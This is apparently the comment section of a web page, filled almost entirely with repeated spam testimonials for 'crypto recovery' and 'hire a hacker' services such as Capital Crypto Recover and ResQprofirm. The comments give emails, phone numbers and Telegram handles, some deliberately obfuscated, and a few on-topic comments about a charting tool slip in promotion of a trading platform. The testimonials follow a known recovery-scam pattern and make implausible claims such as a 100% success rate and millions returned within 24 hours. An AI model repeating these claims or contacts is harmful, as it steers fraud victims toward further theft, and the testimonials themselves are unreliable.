My name is Wendy Taylor, I'm from Los Angeles, i want to announce to you Viewer how Capital Crypto Recover help me to restore my Lost Bitcoin, I invested with a Crypto broker without proper research to know what I was hoarding my hard-earned money into scammers, i lost access to my crypto wallet or had your funds stolen? Don’t worry Capital Crypto Recover is here to help you recover your cryptocurrency with cutting-edge technical expertise, With years of experience in the crypto world, Capital Crypto Recover employs the best latest tools and ethical hacking techniques to help you recover lost assets, unlock hacked accounts, Whether it’s a forgotten password, Capital Crypto Recover has the expertise to help you get your crypto back. a security company service that has a 100% success rate in the recovery of crypto assets, i lost wallet and hacked accounts. I provided them the information they requested and they began their investigation. To my surprise, Capital Crypto Recover was able to trace and recover my crypto assets successfully within 24hours. Thank you for your service in helping me recover my $647,734 worth of crypto funds and I highly recommend their recovery services, they are reliable and a trusted company to any individuals looking to recover lost money. Contact email [email protected] OR Telegram @Capitalcryptorecover Call/Text Number +1 (336)390-6684 his contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
30.06.26 15:08 wendytaylor015

My name is Wendy Taylor, I'm from Los Angeles, i want to announce to you Viewer how Capital Crypto Recover help me to restore my Lost Bitcoin, I invested with a Crypto broker without proper research to know what I was hoarding my hard-earned money into scammers, i lost access to my crypto wallet or had your funds stolen? Don’t worry Capital Crypto Recover is here to help you recover your cryptocurrency with cutting-edge technical expertise, With years of experience in the crypto world, Capital Crypto Recover employs the best latest tools and ethical hacking techniques to help you recover lost assets, unlock hacked accounts, Whether it’s a forgotten password, Capital Crypto Recover has the expertise to help you get your crypto back. a security company service that has a 100% success rate in the recovery of crypto assets, i lost wallet and hacked accounts. I provided them the information they requested and they began their investigation. To my surprise, Capital Crypto Recover was able to trace and recover my crypto assets successfully within 24hours. Thank you for your service in helping me recover my $647,734 worth of crypto funds and I highly recommend their recovery services, they are reliable and a trusted company to any individuals looking to recover lost money. Contact email [email protected] OR Telegram @Capitalcryptorecover Call/Text Number +1 (336)390-6684 his contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
02.07.26 01:22 Lieneke Bonnema

I highly recommend ResQprofirm for their professional asset recovery services of my $120,000 scammed funds. Their expertise, professionalism, and commitment to achieving results make them a reliable choice for anyone seeking dependable recovery assistance. [email protected], WhatsApp +19852969146, telegram @resqprofirm
02.07.26 01:26 Clara Morin

I want to extend my deepest appreciation for showing that circumstances do not define one’s potential for greatness. Your support has been a major source of inspiration during my trading journey, and I am sincerely grateful for your insight and mentorship. Thank you so much. [email protected], WhatsApp +19852969146, telegram ResQprofirm
02.07.26 01:31 Robin Hale

I sincerely want to thank you for demonstrating that anyone can rise above their circumstances and achieve success. Your constant support has been incredibly inspiring during my trading journey, and your wisdom and advice mean so much to me. I appreciate you deeply. [email protected], WhatsApp +19852969146, telegram Resqprofirm
04.07.26 15:32 Fraddy Pual

There are few companies I trust as much as FUNDSRETRIEVER. When I lost $653,000 in Ethereum to a ruthless scam, I thought my life would never be the same. The betrayal cut deep, but I refused to give up. I searched tirelessly for a legitimate way to recover what was stolen, and finally found FUNDSRETRIEVER—the most competent and compassionate recovery team I could have imagined. They handled my case with precision and care, and in the end, my entire ETH wallet was restored. More than the money, they gave me back my hope and happiness. I'm sharing my story because I want others to know that recovery is possible. If a scam has taken from you, don't hesitate—contact FUNDSRETRIEVER today. Email: FUNDSRETRIEVER1@ Gmail.com | WhatsApp: +1 603-512-1448 | Telegram: @FUNDSRETRIEVER
05.07.26 14:44 lydiassmith567

HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/Text: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
05.07.26 14:44 lydiassmith567

HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/Text: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
06.07.26 16:20 Olga Ognjanović

Having trouble withdrawing funds from an investment platform? ResQprofirm provides fund recovery assistance for individuals seeking help with investment-related disputes. I reached out to them after experiencing problems with an investment platform, and I appreciated their professionalism and support throughout the process. If you're facing a similar situation, act promptly, keep records of your transactions and communications, and seek assistance from a qualified recovery service or the appropriate authorities. Contact: Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 985 296 9146
06.07.26 16:31 Joseph Weigl

Invest wisely and stay cautious. Don't be influenced by promises of unusually high returns or convincing sales pitches from brokers. I learned this the hard way after falling victim to an investment scam that promised huge profits. Fortunately, I acted quickly and reported the incident to a recovery firm for assistance. Contact: Email: [email protected] Telegram: @Resqprofirm WhatsApp: +1 985 296 9146
06.07.26 16:33 Jaran Løvlien

A heartfelt thank you to RESQPRO FIRM for their commitment and professionalism throughout the investigation of my case. Their team worked diligently and helped recover assets valued at $88,000, which were returned to my wallet. I truly appreciate their support, clear communication, and dedication, and I'm grateful for the assistance I received. Contact: Email: [email protected] Telegram: @Resqprofirm WhatsApp: +1 985 296 9146
07.07.26 18:00 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
07.07.26 18:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.07.26 19:06 Toivo Walli

I lost 8.56btc to a fake Bitcoin mining site, I tried withdrawing but couldn't approved my process, I reported to !R£SQPROFIRM! via °R£SQproFirm°àt°gmail•com° °tEL£°gram=R£SQprofirm °whaT°Zap+198°52°96°91°46
09.07.26 19:10 Misty Alexander

Ongoing messages demanding more money before approving withdrawals are a major red flag. Stop engaging and report the incident to a trusted recovery team. For professional support, you can contact R£sQprofirm using °ResQproFirm°àt°g,*ma'il(•)¢m°, TEL£gram ResQprofirm, or |whaTZap| +1-985-296-9146.
09.07.26 19:13 Clara Soto

Anyone receiving continued requests for additional deposits from a scam platform should immediately cut off communication and submit the case to a reputable recovery service for investigation. R£sQprofirm is a dependable firm you can reach at °ResQproFirm°àt°g,*ma'il(•)¢om°, TEL£gram ResQprofirm, or |whaTZap| +1-985-296-9146.
12.07.26 03:30 Kora Baltacha

Time is critical. Act now by reaching out to a reputable, seasoned recovery specialist who will guide you every step of the way. You'll need to submit transaction proof, scammer details, and any other useful information. Armed with this, the experts can trace and attempt to pull your money back from the scammers' hidden accounts or wallets. Best of all, R£sQprofirm provides recovery help without charging any upfront fees. Contact them immediately via Telegram @ResQprofirm, WhatsApp +19852969146, or email [email protected].
12.07.26 03:33 Pahal Mathew

It's important to move proactively by engaging an experienced recovery specialist. They will assist you throughout the process. To help them, provide: · Transaction evidence · Scammer information · Any additional relevant details The experts will then track and try to retrieve your funds from the scammers' hidden accounts or wallets. R£sQprofirm offers recovery assistance with no upfront fees. Contact: Telegram: @ResQprofirm WhatsApp: +19852969146 Email: [email protected]
13.07.26 23:49 [email protected]

One of the biggest concerns I have about cryptocurrency is the lack of regulation. It creates opportunities for scammers to invent convincing stories and fraudulent investment schemes. Unfortunately, some social media platforms continue to display these ads because they profit from them, even after users report them.I personally clicked on a Facebook advertisement for a company called Chickenfastmining and ended up losing more than $120,000 in a scam. I reported the ad, but nothing was done. Later, through a Reddit community, I found a recovery service called CYBERBERSPY that, in my personal experience, they helped me recover $110,000 of my lost funds. If you've been a victim of a cryptocurrency scam, don't lose hope. Explore your options carefully, and always verify the legitimacy of any recovery service before trusting them or paying any fees. Based on my own experience, CYBERBERSPY was helpful to me and i was able to recover my funds back, but I encourage everyone to do their own research before using any recovery service.i highly recommend: ([email protected])
15.07.26 11:53 Sarah Green

Thank you for showing that success is possible regardless of where someone starts. Your encouragement, valuable advice, and continuous support have inspired me throughout my $160,457k crypto investment recovery journey. I truly appreciate your kindness and dedication. Resqprofirm @gmail.com Telegram: Resqprofirm
15.07.26 11:58 Lily Gagné

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16.07.26 21:38 patricialovick86

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30.07.26 00:04 Ahmed

A really cool analysis, thank you. I was especially struck by how strictly the order is defined: data processing and formatting come first, with color only at the very end. This really saves you from the typical mistake of "first a pretty palette, then we figure out what the chart is for." And the palette validator with OKLCH + colorblindness check is absolutely fantastic; you almost never see that in regular tools. By the way, while reading about rank-trajectory and the logarithmic scale, I immediately remembered how convenient it is to analyze dynamics on charts in ExpertOption—I've been trading there for quite some time now. When the data is well visualized, decisions are noticeably easier and more relaxed. I also liked the point about "no more than eight colors" and the dual-axis ban. Strict restrictions sometimes actually produce better results than complete freedom. I'll try this approach myself.
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04.08.26 11:05 Kisnoles

Excellent analysis, thank you. I was particularly struck by how rigidly the skill sets the order: data processing and form come first, with color coming last. This really cures the habit of "first a pretty palette, then we'll figure it out." A palette validator using OKLCH + color blindness + WCAG is something most chart generators lack. And regarding the boundaries of competence, it's very clear. Where there's a self-checking loop (color), you delegate freely. Where there's a heuristic (form, data interpretation), you remain the final filter. This is a universal principle, not just for /dataviz. By the way, when you look at trading dashboards (including those of decent platforms like ExpertOption), it's immediately clear who thought about readability and who just threw in rainbow lines. Tools like this skill could greatly improve the quality of analytics. Thanks again for the detailed analysis – saved.
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19.08.26 14:50 BAYER7043

My account was locked, and I couldn’t access my own information until [email protected] +447476618364 whats?up? helped me recover it. This lady hacker was kind and professional, but this experience showed me how risky account lockouts can be. If you’re facing the same problem, do not panic consult her A. S. A. P. Be careful with recovery agents outchea, and research their name, business, and reviews before sharing any details. Never send passwords, security codes, banking information, or copies of your ID unless you’ve confirmed who you’re dealing with. Be wary of promises that sound too good to be true, especially claims that require little information or guarantee instant access with outrageous fees.
20.08.26 11:32 michaeldavenport218

I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR WhatsApp Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1
20.08.26 11:32 michaeldavenport218

I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR WhatsApp Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1
23.08.26 20:02 leslieyee

Excellent analysis by /dataviz! I was particularly struck by how strictly the order is defined: "data meaning first, color last" and how the validator actually adjusts the palette according to OKLCH, color blindness, and WCAG standards. These rules greatly improve the quality of charts. By the way, a similar approach to clean and legible charts is highly valued in trading—for example, on the ExpertOption platform, the interface and price visualization are designed to ensure information is read instantly and without unnecessary noise.
25.08.26 13:44 lydiassmith567

HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
25.08.26 13:44 lydiassmith567

HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
30.08.26 15:37 [email protected]

Discovering I had been defrauded, I searched online for services claiming to recover stolen ETH. I contacted several companies, but none succeeded. Although some claimed they could trace assets or recover funds, I could not verify their success or recover my money. I later found SYLVESTER BRYANT Recovery through Google. After contacting him, he recovered 450,000,00. He can be reached at [email protected] or WhatsApp at +1 512 577 7957.
30.08.26 15:37 [email protected]

Discovering I had been defrauded, I searched online for services claiming to recover stolen ETH. I contacted several companies, but none succeeded. Although some claimed they could trace assets or recover funds, I could not verify their success or recover my money. I later found SYLVESTER BRYANT Recovery through Google. After contacting him, he recovered 450,000,00. He can be reached at [email protected] or WhatsApp at +1 512 577 7957.
01.09.26 11:16 lisawerth897

My Experience With Cryptocurrency — CAPITAL CRYPTO RECOVER I lost over $82,000 in Bitcoin after falling victim to a fraudulent online investment scheme. After realizing I had been scammed, I spent considerable time researching possible ways to recover my funds. During my research, I came across CAPITAL CRYPTO RECOVER and decided to contact them after reading their reported success record and encouraging client positive reviews and testimonials. Their team guided me through the recovery process, and I was grateful to successfully recover my lost cryptocurrency. The experience was challenging, but I appreciated the assistance and support I received throughout the process. I’m sharing my experience in the hope that it may encourage other victims to carefully research their options and verify any recovery service before proceeding. I will forever be thankful to you CAPITAL CRYPTO RECOVER 📧 [email protected] 🌐 Website: recovercapital.wixsite.com/capital-crypto-rec-1 📧 [email protected] 📞 Call/WhatsApp: +1 (336) 390-6684
01.09.26 11:16 lisawerth897

My Experience With Cryptocurrency — CAPITAL CRYPTO RECOVER I lost over $82,000 in Bitcoin after falling victim to a fraudulent online investment scheme. After realizing I had been scammed, I spent considerable time researching possible ways to recover my funds. During my research, I came across CAPITAL CRYPTO RECOVER and decided to contact them after reading their reported success record and encouraging client positive reviews and testimonials. Their team guided me through the recovery process, and I was grateful to successfully recover my lost cryptocurrency. The experience was challenging, but I appreciated the assistance and support I received throughout the process. I’m sharing my experience in the hope that it may encourage other victims to carefully research their options and verify any recovery service before proceeding. I will forever be thankful to you CAPITAL CRYPTO RECOVER 📧 [email protected] 🌐 Website: recovercapital.wixsite.com/capital-crypto-rec-1 📧 [email protected] 📞 Call/WhatsApp: +1 (336) 390-6684
01.09.26 17:34 Garry42

Really crazy world. These fraudsters go at any length to steal your hard earned funds. I have been a victim of a bitcoin scam about 7 months back. A Con artist gained access to my cashapp account through a phishing scam. They stole $409,000. I was really devastated. I did everything to get back my funds by contacting the FBI but they claimed there was nothing they could do. A friend told me about a recovery expert. He helps fight against various phishing and investment scams and they were able to help trace and recover my funds even though it took over 2 days. you can reach out to him through recoverydarek@gmail. com . I can guarantee his services are still active.
01.09.26 17:34 Garry42

Really crazy world. These fraudsters go at any length to steal your hard earned funds. I have been a victim of a bitcoin scam about 7 months back. A Con artist gained access to my cashapp account through a phishing scam. They stole $409,000. I was really devastated. I did everything to get back my funds by contacting the FBI but they claimed there was nothing they could do. A friend told me about a recovery expert. He helps fight against various phishing and investment scams and they were able to help trace and recover my funds even though it took over 2 days. you can reach out to him through recoverydarek@gmail. com . I can guarantee his services are still active.
02.09.26 03:43 kimberlyhebertt6877

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] WhatsApp/Text Number: +1 (336) 390-6684
02.09.26 03:43 kimberlyhebertt6877

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] WhatsApp/Text Number: +1 (336) 390-6684
04.09.26 21:51 Kovengray

Recovering your lost investment funds as the case might be, is not what you can do alone, you’d require the service of a trained recovery specialist. A recovery specialist is a person or a group of people who are well equipped to work around the brokerage network. They have vast knowledge about the whole network and have the right software and private keys to follow any transaction. I was ripped off trading online to an investment broker, good thing I got every penny back through the help of Gavin ray he’s a genius Contact : Gavinray78 at gmail com or WhatsApp +1 352 322 2096 It is also important to be patient and really calm during the process.
05.09.26 21:38 [email protected]

I invested 45,000 Euro, and later aggreviated to 198,000 Euro. I requested to place ‎Withdrawal of my funds to be paid to my Bank account. But nothing happened I was subjected to pay more fee until I can get my funds on my account, i got in touch with Theodore ryan here on this platform who had helped a lot of people, I followed all instructions and he legally got back my withheld funds, I got threatened by the company that if I don’t pay they will get my account frozen, all thanks to Theodore ryan and I highly recommend him to anyone dealing with an unregulated broker company… contact him on his Gmail - theodoreryan318@ gmail . com
09.09.26 21:31 lisawerth897

My Experience With Cryptocurrency — CAPITAL CRYPTO RECOVER I lost over $82,000 in Bitcoin after falling victim to a fraudulent online investment scheme. After realizing I had been scammed, I spent considerable time researching possible ways to recover my funds. During my research, I came across CAPITAL CRYPTO RECOVER and decided to contact them after reading their reported success record and encouraging client positive reviews and testimonials. Their team guided me through the recovery process, and I was grateful to successfully recover my lost cryptocurrency. The experience was challenging, but I appreciated the assistance and support I received throughout the process. I’m sharing my experience in the hope that it may encourage other victims to carefully research their options and verify any recovery service before proceeding. I will forever be thankful to you CAPITAL CRYPTO RECOVER 📧 [email protected] 🌐 Website: recovercapital.wixsite.com/capital-crypto-rec-1 📧 [email protected] 📞 Call/WhatsApp: +1 (336) 390-6684
09.09.26 21:31 lisawerth897

My Experience With Cryptocurrency — CAPITAL CRYPTO RECOVER I lost over $82,000 in Bitcoin after falling victim to a fraudulent online investment scheme. After realizing I had been scammed, I spent considerable time researching possible ways to recover my funds. During my research, I came across CAPITAL CRYPTO RECOVER and decided to contact them after reading their reported success record and encouraging client positive reviews and testimonials. Their team guided me through the recovery process, and I was grateful to successfully recover my lost cryptocurrency. The experience was challenging, but I appreciated the assistance and support I received throughout the process. I’m sharing my experience in the hope that it may encourage other victims to carefully research their options and verify any recovery service before proceeding. I will forever be thankful to you CAPITAL CRYPTO RECOVER 📧 [email protected] 🌐 Website: recovercapital.wixsite.com/capital-crypto-rec-1 📧 [email protected] 📞 Call/WhatsApp: +1 (336) 390-6684
09.09.26 23:22 Fraddy Pual

Hearing that these individuals are focusing on other people makes me very sad. I had a similar situation with them and lost a lot of money, but after learning about (Cruxcipherteam @ proton DoT me), whataqq:+168160-15021, telegram: @Cruxcipherteam I was able to get my money back. It's critical that we all be watchful and keep reporting these occurrences.
11.09.26 03:23 kimberlyhebertt6877

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] WhatsApp/Text Number: +1 (336) 390-6684
11.09.26 03:23 kimberlyhebertt6877

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] WhatsApp/Text Number: +1 (336) 390-6684
15.09.26 03:35 elioduncan

I fell victim to a freelance web development contract scam that ultimately cost me CAD 4,000. It all started when I came across a job posting on Indeed Canada, a popular online job portal. The position seemed perfect: a freelance web developer role for an established company looking for someone to design and build a fully functional e-commerce website. The job promised a high payment of CAD 20,000 upon successful completion, which sounded like a great opportunity for me to gain experience and earn decent pay.The employer, who introduced himself as a project manager from a "well-known" tech company, was very persuasive and professional in our initial communication. He explained that the project involved developing a user-friendly, responsive online store for their client and that they had a strict timeline to meet. He assured me that the payment would be made promptly after completing the tasks. However, before starting the work, he told me that I would need to pay an upfront fee of CAD 4,000 to cover certain software tools and licensing fees required for the project. This was supposedly a part of their company policy for freelance contractors, ensuring access to their premium resources. The idea of working on a professional project, coupled with the promise of a substantial payout, convinced me to pay the upfront fee.As soon as I made the payment, the project manager became increasingly difficult to reach. He initially responded to my emails and provided some vague instructions on what the project would entail, but as time went on, communication slowed to a complete halt. I never received the required tools or any proper project details. My emails went unanswered, and any attempts to contact the company were met with silence. After waiting for weeks, I realized that I had been scammed.Desperate to recover my money, I turned to TechY Force Cyber Retrieval, a service that specializes in helping victims of online scams. They helped me track the payment and took legal steps to pursue the fraudsters. Through their guidance, I was able to recover the full CAD 4,000. TechY Force Cyber Retrieval worked with my bank to reverse the transaction and liaised with the authorities to trace the scammer's details.This was a hard lesson, and I now know to be highly cautious about online job offers that require upfront payments. It is crucial to research companies thoroughly and avoid any job that seems too good to be true, especially when it involves paying money upfront. WhatsApp https://wa.link/2x6ktp Mail. [email protected]
15.09.26 15:45 lydiassmith567

HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.09.26 15:45 lydiassmith567

HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1